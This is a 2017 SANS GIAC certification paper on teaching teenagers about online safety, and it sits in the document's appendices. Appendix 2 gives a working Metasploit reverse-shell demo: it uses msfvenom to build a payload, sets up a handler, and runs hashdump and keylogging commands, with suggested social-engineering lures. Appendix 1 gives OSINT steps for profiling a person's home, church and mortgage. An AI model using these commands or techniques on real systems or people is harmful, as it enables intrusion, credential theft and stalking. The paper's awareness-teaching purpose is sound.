Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more? Check out the list of upcoming events offering "Security Essentials Bootcamp Style (Security 401)" at http://www.giac.org/registration/gsec
Online Safety in a Foreign Language - Connecting with Teens

The inescapable dangers of our increasingly connected world are likely most threatening to our young adults. Teens, especially, see social media and related online platforms as inextricable from their public and private personas. These digital natives have grown up being comfortable with sharing all aspects of their lives with the Internet - without the healthy suspicion and caution of those who have seen the technology grow over the years. The importance of protecting our teenage Internet denizens apparent, it fall...
Online Safety in a Foreign Language - Connecting with Teens

GIAC (GSEC) Gold Certification
Author: Chris Elgee, christopher.elgee@gmail.com
Advisor: Chris Walker
Accepted: September 25, 2017

Abstract

The inescapable dangers of our increasingly connected world are likely most threatening to our young adults. Teens, especially, see social media and related online platforms as inextricable from their public and private personas. These digital natives have grown up being comfortable with sharing all aspects of their lives with the Internet - without the healthy suspicion and caution of those who have seen the technology grow over the years. The importance of protecting our teenage Internet denizens apparent, it falls to parents, teachers, and industry professionals to effectively educate this group. What follow are tested methods and associated research on relating to and informing teenagers so they might understand and properly mitigate the risks they face. Importantly, this paper explores these topics in a way that doesn't overstate the dangers or attempt to upheave the norms of communication so organic to this generation.
1. Introduction: The Dangers in Teen Internet Habits

Internet-based threats pose glaring risks to today's teenagers. Some of their vulnerabilities are unique or, at least, much more common to their generation, but most of their dangers are shared by all Internet users. These threats need to be understood and addressed effectively by knowledgeable, caring adults. Importantly, the information must be presented in a manner that resonates and sticks with a younger audience.

At present, risk mitigation efforts by the larger society are haphazard. Most parents aren't comfortable with information security themselves - let alone being proficient enough to educate their children. School teachers are often stuck with insufficient safety awareness curricula, and when related issues creep into the classroom, rules about intervention are often murky. Police officers, other volunteers, and even clergy are interested in helping, but who should be presenting the material, and what should be discussed?

Fortunately, there is ample research to inform the intelligent creation of a coherent mitigation strategy. Researchers have data on who is best received as a presenter, the material that needs to be covered, and how best to format the interactions. And as corporate information security needs balloon and positions are built into more and more organizations, the requisite talent is available in more communities now than ever.

It is helpful to note, however, that the dangers can be over-stated. As discussed below, there are some lower-hanging fruits in the realm of youth safety awareness, and material can be prioritized. Some evidence even suggests that putting too fine a point upon worst-case scenarios can damage the credibility and efficacy of presenters.

Personally, I've delivered different types of awareness presentations in over 20 local schools - mostly secondary. In total, I've had the pleasure of working with at least 3000 unique students. Nevertheless, my efforts have not included experimental methods and therefore equate to a large but anecdotal collection of Christopher Elgee, christopher.elgee@gmail.com
experiences. As such, the vast majority of this paper focuses on deliberate academic research done by career social scientists.

2. Online Threats for Today’s Youth

The terms “teen,” “youth,” and “student” will be used somewhat interchangeably to refer to students old enough to be using the Internet but not yet finished with high school. The threat landscape for these online citizens can be broadly categorized into cyberbullying, sexting, sexual predators, and general threat. Similarly, “presenter” and “volunteer” will each be used unless a more specific identifier is appropriate.

2.1. Cyberbullying/Online Harassment

While bullying itself is nothing new, the delivery media have changed over the past two decades. With the ubiquity of Internet communications, it was perhaps inevitable that individuals with negative messages would communicate them online. An Italian study used a mix of self-reported data and methods as technical as eye tracking and exposed subjects to videos of positive, neutral, and harassing behaviors. Their aim was to determine how cyber bullying stacks up against other behaviors in terms of stress response and related metrics. While online bullying proved no worse than its “IRL” counterpart, it clearly showed a measurably stronger stress response than other online activities. “Results indicate that cyberbullying causes higher stress and negative emotions than prosocial and neutral peer interactions, but not than bullying.” (Caravita, Colombo, Stefanelli, & Zigliani, 2016)

Troublingly, the deleterious effect is hitting no small population. Indeed, about 52% of American teenagers report being the target of online harassment, and 25% report experiencing repeated bullying. (“Cyber Bullying Statistics - NoBullying - Bullying & CyberBullying Resources,” 2014) Perhaps more worrisome is a figure from the same study asserting that only 50% of those surveyed ever bring this type

Christopher Elgee, christopher.elgee@gmail.com
of issue to their parents. This does not make the problem any easier to deal with in the home.

On the legal front, nearly every US state has some kind of law prohibiting online harassment - though only 23 have passed laws with language specific to cyberbullying. (Sameer Hinduja, 2016) Most states require schools to have policies addressing cyberbullying directly, but specific provisions vary wildly. Based on local policies, a teacher may or may not be empowered to address cyberbullying occurring strictly outside of the school context, and he or she may deal with it directly or hand the issue off to a resource officer. As prevention goes, there do not appear to be any nationally-agreed-upon educational methods.

2.2. Sexting

The only real good news with sexting is that it’s not as common as cyberbullying. While the overwhelming majority of high school students have at least witnessed online harassment, only 18.7% of 5,539 students surveyed had received a sexting image while 12.1% reported sending one. “Interestingly, 24% of the seventeen year-olds surveyed told us that they have had sexual intercourse. So more students are having sex than are engaging in sexting.” (Patchin, 2017)

The bad news is that the effects can be sizable. Unsurprisingly perhaps, 21% of adolescents reporting to have sent a sext describe feeling “very or extremely upset, embarrassed or afraid as a result;” this number is slightly higher for recipients. (Mitchell, Jones, Finkelhor, & Wolak, 2014) The effects are also felt in the school environment; it’s difficult to find an educator today who doesn’t have to deal with this type of issue with regularity.

2.3 Sexual Predators

Determining the rate of occurrence of Internet-based sexual predator attacks is, in computer science terms, a non-trivial task. A commonly-cited figure of 50,000 active predators roaming the web seems indefensible and arbitrary. (Gladstone, 2006) Indeed, Janis Wolak of the Crimes Against Children Research Center (CACRC) Christopher Elgee, christopher.elgee@gmail.com
in Durham, NH tells us: “The Internet may not be as risky as a lot of other things that parents do without concern, such as driving kids to the mall and leaving them there for two hours.” (Greve, 2008)

Nevertheless, while we don’t have a firm grasp of the frequency, there is certainly a real threat to children here. Uncommon though they may be, the victims of online sexual predators carry a heavy burden. Indeed, lawmakers who are hyper-conscious of this are quick to increase penalties and broaden definitions of sexual crimes - perhaps even beyond what is pragmatically helpful. (“No Easy Answers,” 2007)

We must also understand the most common misconceptions about online predators. While some may picture a smirking creeper in a trench coat, posing as a teen, lying to our prepubescent children, waiting to suddenly snag them, reality tends to be much less sensational. The typical online predator:

● grooms a teen girl or sexually-uncertain boy into a consensual sexual encounter
● is largely truthful about their intentions
● often targets teens with some history of sexual abuse (Wolak, 2008)

It is with this understanding that we must approach the topic. Focusing on a grab-and-snatch enemy ignores the much more common predator playing the long game with susceptible youth.

2.4 Common Dangers

With all the threats we think of as unique to teens, it’s easy to forget that they’re susceptible to all the pitfalls facing adults. Most teens have cell phones, many have debit or credit cards, and nearly all have online accounts protected by the age-old password. Any online safety program must address phishing, over-sharing of personal information, password reuse, two-factor authentication, software/firmware updates, and discussions about secure connections.

Christopher Elgee, christopher.elgee@gmail.com
3. Community Responsibility

With the threat in mind, consider roles in mitigation. While any responsibility for proper action ultimately belongs to the end user, there is much that can be done to equip youth to make smart decisions. Right now, countless parents, teachers, resource officers, and volunteers are putting in time with young people to help them make smart decisions with regard to online activity. But who is getting the message through? Research coming out of the CACRC finds that experts in the field are most likely to have a lasting impact on teens' behavior. (Jones, L.M., Mitchell, Kimberly J., & Walsh, W.A., 2014b)

It is for this reason that qualified cybersecurity professionals need to be involved in this effort. Programs like Safe and Secure Online (https://safeandsecureonline.org/) are aimed at just that, even offering continuing education credits to (ISC)$^2$ certificate holders for participating. The Center for Cyber Safety and Education (https://www.iamcybersafe.org/) leads this effort by offering online training, vetting of volunteers, and ready-made slide sets for specific age groups. They've even licensed the Garfield characters through Paws to make the material more relatable to younger audiences.

Unfortunately, one-off presentations are likely not enough. In order to have a lasting impact on behavior, the CACRC research shows that repeat presentations, classroom exercises and discussions, and at-home conversations are most effective. (Ibid) This may not be surprising, but this information does not seem to drive most youth Internet safety programs.

Separately: a multi-state board convened in 2008 to look at online technologies and how they can be leveraged to protect youth online. With representation from Facebook, Google, Symantec, and many other technological entities, the cohort found that the end product contains few technical solutions. The key recommendations called for increased research, training and resources for law enforcement and other support providers, and open communication between parents/guardians and their youth. (Palfrey, Sacco, Boyd, DeBonis, & Tatlock, 2008)
4. Educating Our Teens

4.1. Attitude

To begin, volunteers must start with the right demeanor. Teens are adept at turning on their muted trumpet filter (the sounds adults make in cartoons) - especially when an event involves safety, lectures, or prideful know-it-alls. Adults hoping to be successful in this challenging environment must have humility, be amicable, and display a sense of humor. Put another way, the most successful presenters will come off like a smart science person in a children’s TV show. This particular flavor of self-confidence is best cultivated through repeated interactions with young people. It definitely comes more easily to some than to others.

4.2. Understanding

Presenters should try to appreciate the connection teens have with social media, as alien as it may seem. It’s not easy to understand why otherwise model students engage in online activity that gets Ivy League offers rescinded. (Homayoun, 2017) Certainly, academic study about their activity paints part of a picture, but like Jane Goodall, volunteers wishing to comprehend the seemingly pervasive “all-about-the-likes” mentality need to integrate as much as possible.

It’s OK to sign up for Instagram, Twitter, and even Snapchat at any age! If, once on, you struggle with the culture and mechanics, ask someone young. This, of course, is the other key to understanding the youth social media culture. Asking questions of young tech natives helps older users learn - and stay humble. Even a GIAC Security Expert can learn from a teen with an unhealthy Snapchat habit. Conversely, would-be-presenters who are unwilling to admit knowledge gaps are likely to struggle - as do many modern parents. All the device monitoring available can be subverted by a crafty teen; candid conversations are indispensable.

Christopher Elgee, christopher.elgee@gmail.com
4.2. Material

With the proper mood set, presenters need the right material. At a high level, most students will benefit from the basics: cyberbullying, sexting, online predators, and general online safety. While most people interested in sharing this material understand the broad concepts in each subject area, there are specific messages that are important to communicate in each. In a sort of meta-analysis, research out of the CACRC compiled key concepts that disparate researchers have found important. (Jones, L.M., Mitchell, Kimberly J., & Walsh, W.A., 2014a) Appendix 4 is a printable example of a presentation designed to fulfill the mandates laid out in the research. A downloadable version is available at https://www.slideshare.net/ChristopherElgee/digital-citizenship-for-teens.

4.2.1. Cyberbullying

With cyberbullying, the research suggests that teens need to hear about how avoidable bullying is. They need to hear how powerful a bystander can be. The would-be bullies especially need to hear about metacognition and how they can reconsider their action choices in future scenarios. Put another way, encouraging students to think about thinking can help break up negative, automatic behaviors.

1. Most youth do not engage in cyberbullying.
2. There are a lot of different options for handling online harassment.
3. Online harassment can feel bad in a number of ways, but does not usually end in suicide.
4. There are strategies you can use to de-escalate when you feel angry or disrespected.
5. Teasing and put-downs online or offline may be harassment even if they seem harmless.
6. Bystanders can help in a number of different ways (examples shown/given).
7. Adults may be helpful in a number of different ways (examples shown/given).

Christopher Elgee, christopher.elgee@gmail.com
8. A lot of bullying happens offline too, and kind behavior should be practiced everywhere.

There are some videos available on cyberbullying that can be useful in certain contexts. Unfortunately, few of them connect well with wide audiences, and many are too long for a typical presentation. The British Council has a 6 ½ minute video that works well with 11 to 15-year-olds: http://learnenglishteens.britishcouncil.org/study-break/video-zone/cyberbullying-lets-fight-it-together

4.2.2. Sexting

As with cyberbullying, many youth perceive sexting to be far more common than it is and should be informed. Metacognition becomes important again because of the range of feelings evoked when someone receives an image or a request for one. It’s also important to properly frame the typical police involvement with sexting rather than threaten everyone with membership on the sex offender registry.

1. Most youth do not “sext.”
2. Sexting usually happens in the context of a relationship or goofing off.
3. Youth are likely to feel many different ways when they get a request to “sext.”
4. The most important thing is to not forward sexual pictures if you receive them.
5. Most police intervention happens in cases of blackmail, bullying, or forwarding without permission.

If the presenter is looking for a video, this one poses a realistic scenario and allows for some interaction with the students: https://www.youtube.com/watch?v=tal2MP7Uo1k

4.2.3. Online Predators

With a topic as emotionally-charged as sexual predation, it is perhaps unsurprising that there are many rumors to dispel. Hyperbolic illustrations of rare

Christopher Elgee, christopher.elgee@gmail.com
worst-case scenarios distract students from the types of situations they are actually likely to encounter.

1. Internet predator cases are rare.
2. There is a difference between unwanted sexual requests and internet predators
3. There are a number of different options for responding to a sexual solicitation.
4. There are a number of reasons why it may be hard to tell an adult.
5. Internet predator cases typically involve flattery and feelings of being close to the adult
6. We are still learning about what online behaviors are risky
7. Sexual assault by someone you know in person is a greater risk

If the situation permits, this might be a good topic for interactivity. Based on the composition of the students, it might be appropriate to describe a few scenarios and ask the students what they think is going on. School staff can always be consulted beforehand to determine what is likely to work well in their specific context.

4.2.4. General Safety

This final category of recommended messages are simple but easily-forgotten tips. If you replaced #1 with something about secure online payments, it could be a list of online safety tips for any group of adults.

1. Tell a trusted adult or report if anything makes you uncomfortable online or you get into trouble
2. Don’t share or post personal information online
3. Be respectful online/Don’t bully
4. Think before you post or click
5. Check privacy settings and watch who you “friend” on social network sites
6. Be wary of people you meet online

Christopher Elgee, christopher.elgee@gmail.com
7. Consider what the information you put online says about you
8. What you put online can spread quickly and in ways you cannot control
9. Watch out for e-scams

Presenters should do their best to explore these dangers and mitigations during the presentation. These are also easier topics to include in a printed handout. An example take-away is in Appendix 3.

4.3. Over-Stating Dangers

There is a potential pitfall in how we quantify the dangers inherent in online activity. As correct as a presenter may be in citing real-world, worst-case scenarios, youth are likely to hear an old person crying wolf. As alluded to by the tips in section 4.2, being real about the risks makes for a more effective communication tool than telling students their palms will grow hair if they start sexting.

One way of illuminating real dangers is through live demonstrations. That is, showing students that their phones have just connected to your Wi-Fi Pineapple is much more attention-grabbing than describing the dangers of HTTP connections over unencrypted Wi-Fi. As another example, few Internet users realize how public their non-broadcast SSIDs are. Putting a list of device beacon requests up on a projection screen can quickly disarm students of false notions of security.

Another snore-breaker is an open source intelligence demonstration. You might, for example, get the permission of the assistant principal, guidance counselor, or gym teacher to display some open source information about them in the presentation. If presented along the vein of, “What do you think we can find out about Ms. Smith??” students are likely to become immediately more engaged. (See Appendix 1.)

A presenter might also consider doing a live, open source search of a student, but this is far trickier than a prepared analysis of a staff member. Beyond the pressures of working in front of an audience under a time crunch, school administrators do not want you to bring up anything incriminating about the

Christopher Elgee, christopher.elgee@gmail.com
students. In many school districts, if you dig up, say, a picture of a teen abusing chemical substances, it has just moved from a private problem to one a school must deal with.

One last attention gimmick offered up is a Metasploit demonstration. Mental images of “hackers,” malware, and system exploitation are usually comically inaccurate. With two virtual machines and a bit of preparation, it’s not difficult to show what exploitation might look like. A presenter might run an msfvenom command to show how quickly malware can be created, run the code on a victim machine, and switch to the attacker’s meterpreter console. Typing “help” in that shell immediately shows how easy it is to capture keystrokes, take screenshots, and steal hashes. For most watching the presentation, the simple fact that a hacking tool has help menus will demystify the darker side of the Internet. (See Appendix 2)

4.4. Flavor, Frequency, and Type of Delivery

Referring again to one of the CACRC studies, we find much research has already been done regarding what delivery methods are most effective. (Jones, L.M., Mitchell, Kimberly J., & Walsh, W.A., 2014b) Indeed, this analysis of meta-analyses provides perhaps the most reliable data available on what works well in youth Internet safety education. First and foremost, the interactivity of the presentation seems to correlate most strongly with the power of the presentation. 92% of studies which included this as a measure concluded this made the presentations more effective. As presenters, this might look like a scenario-based problem a group has to solve. Maybe it’s a bit of role playing. Maybe it’s a quick quiz show portion with lanyards or candy for prizes. This is a great opportunity for the speaker to show a bit of creativity and energy and really improve the chances of making a difference in the students’ online behaviors.

Another key finding is that material is better absorbed when it’s presented clearly and logically. This may seem obvious to a programmer’s mind, but it’s proven with data. Presentations should build from simpler to more complex

Christopher Elgee, christopher.elgee@gmail.com
material. It should also have clear recommendations for students to follow. Presenters should rehearse material with non-technical guinea pigs and give a quick quiz at the end to see if key points are understood and retained.

Other studies offer information that may be intuitive. Specifically, homework assignments and booster sessions increase effectiveness. Presenters may consider giving students a punch list of tasks to accomplish, such as varying passwords between sites, turning on automatic updates, and turning on privacy controls in social media platforms. For middle school audiences, teachers might give students an assignment of learning safety through Google’s Be Internet Awesome project (https://beinternetawesome.withgoogle.com/). It’s also a good idea for presenters to schedule follow-up sessions for the next semester or school year.

4.5. Connecting experts and schools

To wrap this section up with what really becomes the beginning, consider how we might connect experts with schools. There are plenty of schools with needs, and many information security professionals are more than willing to share their time. The easiest problems to solve are those where an introduction is the only thing missing. Educators can search for local information security companies and ask if they’re willing to sponsor their schools. Schools near larger companies (in any sector) can contact them and ask the same of their information security department. Educators may also find good contacts in local (ISC)² (https://www.isc2.org/chapters/chapter-directory) and ISACA (https://www.isaca.org/Membership/Local-Chapter-Information/Pages/default.aspx) chapters. Professionals looking to offer services need only contact their local superintendent or principal. Employers can help by initiating contact themselves or at least offering paid time off for limited Internet safety education programs.

Specialists and educators can also get in touch with each other through the Center for Cyber Safety and Education’s Safe and Secure Online program

Christopher Elgee, christopher.elgee@gmail.com
Volunteers can complete a brief online training and submit for a background check. Once complete, educators can find geographically-compatible volunteers through the site.

5. Conclusion

**Who.** Today’s youth need to learn about online safety like 1950’s youth needed to learn about the dangers of tobacco use. Qualified experts in the information security field have the knowledge and gravitas to teach. Teachers and parents need to leverage the information and relationships they have with students as well.

**What.** Safety presentations need to contain material on cyberbullying, sexting, sexual predators, and general online risks. The information needs to be presented in real terms - not sensationalized. It should be ordered in a logical, sequential manner with specific takeaways for the students. Material should be interactive; think: “Come on down!” and not “Bueller?”

**Where & When.** Material should be discussed in auditoriums, small classrooms, and at home. It should be at least annual for large formats and more frequent in smaller settings. It does not need to be separate from other topics.

**Why.** Every day, the Internet becomes more inextricable from young culture. From social media to texts, wikis to augmented reality gaming, today’s youth will live and breathe Internet until the big EMP comes. “I don't know enough about it” is an insufficient excuse for not teaching our youth to live responsibly in this world. Let’s get together, get smart, and stay safe online together.

Christopher Elgee, christopher.elgee@gmail.com
References


Christopher Elgee, christopher.elgee@gmail.com


Christopher Elgee, christopher.elgee@gmail.com

Christopher Elgee, christopher.elgee@gmail.com
Appendix 1. Open Source Demonstration Example

Appendix 1.1. Preparation of open source search demo

Googling, pipl, and familytreenow are pretty straight-forward. Standard Facebook searches are simple too, but there are better ways to get that type of information. To see more about someone in Facebook than normally appears, first get their official Facebook user name. This appears in the URL bar when viewing their profile:

https://www.facebook.com/USArmyChiefofStaff/about

Armed with this, go to https://inteltechniques.com/menu.html and click Facebook on the left. Paste just the user name into the “FB User Name” box and click GO. An account number will appear; copy and paste it into the box below it and click GO:

Now, with that account number populated through the page, you can click things like Places Visited, Photos Liked, Photo Comments, and Groups. If you aren’t friends with the subject, this won’t show activity protected by proper privacy settings, but you will almost always find information that the subject did not intend the general public to have.

Finding Instagram posts by school is also relatively simple. If you go to Instagram.com...
in a web browser and enter the name of a high school in the search box, you’ll find a
trove of posts. Clicking a picture lets you click through to other posts by that user. You
can also click on people who’ve commented on that photo – likely also students there.

In the case of faculty members, try searching their county registry of deeds and city/town
tax records. In most cases, you’ll get physical address, home value, liens, and sometimes
floor plans.

Remember that the point of these exercises is to show students that they’re giving
away more information than they realize – without embarrassing them!

Once you’ve found information you want to use in the presentation, capture it with
screenshots: <Alt>-<PrtScn>. Paste it into PowerPoint and Crop off bits you don’t want
to use. You can put screenshots on separate slides or use Appear animations to make
them show up on top of each other.

Appendix 1.2. Presentation Script

Get permission from a staff member, collect info, and layer the images into the
presentation.

Okay, so what kind of information is available out there about Vice Principal
Jones? Think we can see where he goes to church? Places he takes his kids? We sure
can!

Christopher Elgee, christopher.elgee@gmail.com
How about where he lives? His mortgage?

Christopher Elgee, christopher.elgee@gmail.com
How about work and education history? Think we could impersonate his alma mater and ask for money?

Now, what kind of exposure does Mr. Jones have online? What kinds of things

Christopher Elgee, christopher.elgee@gmail.com
can he do to make himself a tougher target online?

Possible answers might include:

- Improve his privacy settings on Facebook
- Check his digital footprint and remove information he doesn’t want shared
- Just be aware of what information is out there and accept that risk
- Use an online service to monitor his credit and identity to detect when bad guys are abusing his information
Online Safety in a Foreign Language - Connecting with Teens

Appendix 2. Metasploit Demonstration Example

Appendix 2.1. Preparation of “evil hacker” demo

For this demo, you'll need Windows and Kali virtual machines (VMs) and a VM player.

Windows VM downloads – any version should do:

Kali downloads – use Kali Linux 64 bit VM or similar:

VMWare Workstation Player (you could also use VirtualBox or similar):

Once you have the files downloaded, install Player, and open both virtual machines. Under each virtual machine, click "Edit virtual machine settings," and make sure both have network adapters set to "Host-only." This ensures that they can talk to each other but not the greater Internet.

Note: for Kali to run well, you may want to assign the VM two or more GB of RAM.

In the Windows VM, determine your IP address. Once you have the Kali IP, try to ping it from the Windows VM. In the Kali VM, determine your IP address. For the purposes of these instructions, we’ll assume your Kali IP is 192.168.20.128. The next step is to build the executable file that will make your windows VM call back to your Kali VM. In a terminal, type:

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.20.128 -f exe -o helper.exe
```

From the folder view, you should be able to copy and paste helper.exe from Kali to Windows. On the Kali VM, you now need to set up a listener to receive the call from the Windows VM. Type:

```
msfconsole -q
use exploit/multi/handler
set LHOST 192.168.20.128
run
```

Christopher Elgee, christopher.elgee@gmail.com
Now, on the Windows VM, double-click helper.exe to initiate the connection. On the Kali VM, you should see something like:

```
meterpreter >
```

From here, you can type a few demo commands or just scroll through the help menu.

```
sysinfo
hashdump
getuid
getsystem
getuid
keyscan_start
screenshot
uictl
shutdown
```

### Appendix 2.2. Presentation of “Evil Hacker” Demo

Test thoroughly before a live presentation. It’s best to get it working perfectly in the hour before a presentation, change nothing, shut nothing down, bring the screen back up, and run it for the show. The following steps assume you’ve set everything up, done it at least once, and already have the infected helper.exe file on the Windows victim machine. If you have msfconsole already waiting for the meterpreter connection on one window and type the msfvenom command in another, they don’t even have to wait for you to type out any commands.

**OK, we’re going to run through a demo showing just how easy it is for bad guys to prey on unsuspecting Internet users. Everything we’re going to show is done with freely available software and techniques any bad guy can learn from YouTube. Now, this isn’t about showing you how to be bad guys; our intent is to make you more suspicious of others online!**

**First, we’re in Kali Linux – a free platform design-built for attacking. Good guys use it to test their own defenses. From a “terminal window,” we can type a single command and generate an infected program. Chances are: your antivirus won’t even pick it up because it’s a brand new virus. I just created it!**

```
msfvenom -p windows/meterpreter/reverse_tcp
```

Christopher Elgee, christopher.elgee@gmail.com
LHOST=192.168.20.128 –f exe –o helper.exe

So now, as the bad guy, all I have to do is get you to run this program. Maybe I email it to you as a new screensaver. Maybe I put it on a thumb drive and drop it in front of your locker. Or maybe I post it online and label it as “naked pics of [your name].” Either way, once it’s running on your computer, I’m now in control. Now, watch and see what happens!

Double-click helper.exe on the Windows VM

There – did you see it? What happened? What changed? ... Nothing! You see nothing, but back on my attack machine, I get a control panel to do whatever I want with your computer.

sysinfo

I can dump your passwords (or hashes to GET your passwords).
hashdump

I can elevate my privileges. This means I can get permission to do more things on/to your computer than you can.
getuid
getsystem
getuid

I can log all of your keystrokes and steal your usernames, passwords, and everything you type.
keyscan_start

I can take screenshots of whatever you’re seeing on your screen.
screenshot

I can disable your keyboard and mouse.
uictl

And I can shut down your computer right in front of your eyes.
shutdown

Again, this demo isn’t about stunt hacking or anything. This is about showing you that anyone on the Internet can be a “leet hax0r,” and you need to be suspicious of what you see. It only takes one wrong click!

Christopher Elgee, christopher.elgee@gmail.com
Online Safety in a Foreign Language - Connecting with Teens

Christopher Elgee, christopher.elgee@gmail.com
Appendix 3. Sample Handout

Handouts can be made to match different media or styles. Here follows some sample content that may be included.

To-Do List:

- Update software/firmware on devices and set updates to run automatically, when possible:
  - Computer operating system (Windows, OS-X) and apps, especially antivirus
  - Phone operating system (iOS, Android) and apps
  - Home router (Google “updating the firmware on [your router model]”)
- Ensure your phone is not rooted / jailbroken
- Set up two factor authentication for all online financial accounts at least
- Set up WPA2 encryption with a good passphrase on home wifi (Google “WPA2 on [your router model]”)
- Review friend list for people you don’t know IRL
- Birthday hidden AT LEAST from non-friends
- Read through recent posts for “I’m vulnerable” signals
- Restrict location services and geotagging on phone
- Cover web cam lens

Watch for:

- Logging into a site that’s only http - or is https with errors
- Warning signs of online predators
- Changes in login pages or messages from online services
- Suspicious links; it’s always best to type the URL yourself

Exercises:

- List every account you care about, at least banking, email, and social media.
  - How many have a unique password?
  - How many have a short (8-character) or guessable password?
  - Decide how you want to track passwords, either by a locked-up notebook or a popular electronic password manager.
  - Set unique, secure passwords/passphrases for each account you care about.
- How much can you find out about yourself online?
  - Use Google, pipl.com, familytreenow.com, social media, and your municipality/county websites.

Christopher Elgee, christopher.elgee@gmail.com
Online Safety in a Foreign Language - Connecting with Teens

○ Check your social media profiles “as public.”
● What’s the most bully-ish thing I’ve done online?
  ○ Did the target think it was as funny as I did?

Feedback:
What did you like about this presentation?
What can we do better next time we present this information?
What questions do you have that were not answered?

Christopher Elgee, christopher.elgee@gmail.com
Appendix 4. Sample Presentation

The following is a string of screenshots from a sample online safety awareness presentation. This slide set is geared specifically toward teenagers. Be certain to clear any content with school administrators before presenting. A downloadable version of this slide deck is available here: https://www.slideshare.net/ChristopherElgee/digital-citizenship-for-teens

Christopher Elgee, christopher.elgee@gmail.com
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Date Range</th>
<th>Event Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS San Francisco Winter 2017</td>
<td>San Francisco, CAUS</td>
<td>Nov 27, 2017 - Dec 02, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SIEM &amp; Tactical Analytics Summit &amp; Training</td>
<td>Scottsdale, AZUS</td>
<td>Nov 28, 2017 - Dec 05, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Khobar 2017</td>
<td>Khobar, SA</td>
<td>Dec 02, 2017 - Dec 07, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich December 2017</td>
<td>Munich, DE</td>
<td>Dec 04, 2017 - Dec 09, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Austin Winter 2017</td>
<td>Austin, TXUS</td>
<td>Dec 04, 2017 - Dec 09, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Bangalore 2017</td>
<td>Bangalore, IN</td>
<td>Dec 11, 2017 - Dec 16, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Security East 2018</td>
<td>New Orleans, LAUS</td>
<td>Jan 08, 2018 - Jan 13, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS SEC460: Enterprise Threat Beta</td>
<td>San Diego, CAUS</td>
<td>Jan 08, 2018 - Jan 13, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam January 2018</td>
<td>Amsterdam, NL</td>
<td>Jan 15, 2018 - Jan 20, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>Northern VA Winter - Reston 2018</td>
<td>Reston, VAUS</td>
<td>Jan 15, 2018 - Jan 20, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dubai 2018</td>
<td>Dubai, AE</td>
<td>Jan 27, 2018 - Feb 01, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas 2018</td>
<td>Las Vegas, NVUS</td>
<td>Jan 28, 2018 - Feb 02, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Threat Intelligence Summit &amp; Training 2018</td>
<td>Bethesda, MDUS</td>
<td>Jan 29, 2018 - Feb 05, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Miami 2018</td>
<td>Miami, FLUS</td>
<td>Jan 29, 2018 - Feb 03, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London February 2018</td>
<td>London, GB</td>
<td>Feb 05, 2018 - Feb 10, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Scottsdale 2018</td>
<td>Scottsdale, AZUS</td>
<td>Feb 05, 2018 - Feb 10, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure India 2018</td>
<td>Bangalore, IN</td>
<td>Feb 12, 2018 - Feb 17, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Southern California- Anaheim 2018</td>
<td>Anaheim, CAUS</td>
<td>Feb 12, 2018 - Feb 17, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dallas 2018</td>
<td>Dallas, TXUS</td>
<td>Feb 19, 2018 - Feb 24, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure Japan 2018</td>
<td>Tokyo, JP</td>
<td>Feb 19, 2018 - Mar 03, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cloud Security Summit &amp; Training 2018</td>
<td>San Diego, CAUS</td>
<td>Feb 19, 2018 - Feb 26, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Brussels February 2018</td>
<td>Brussels, BE</td>
<td>Feb 19, 2018 - Feb 24, 2018</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London November 2018</td>
<td>OnlineGB</td>
<td>Nov 27, 2017 - Dec 02, 2017</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>
## Upcoming Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Secure Canberra 2020</td>
<td>Canberra, Australia</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Philadelphia 2020</td>
<td>Philadelphia, PA</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Middle East April 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Apr 11, 2020 - Apr 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MD</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MN</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Boston Spring 2020</td>
<td>Boston, MA</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London April 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
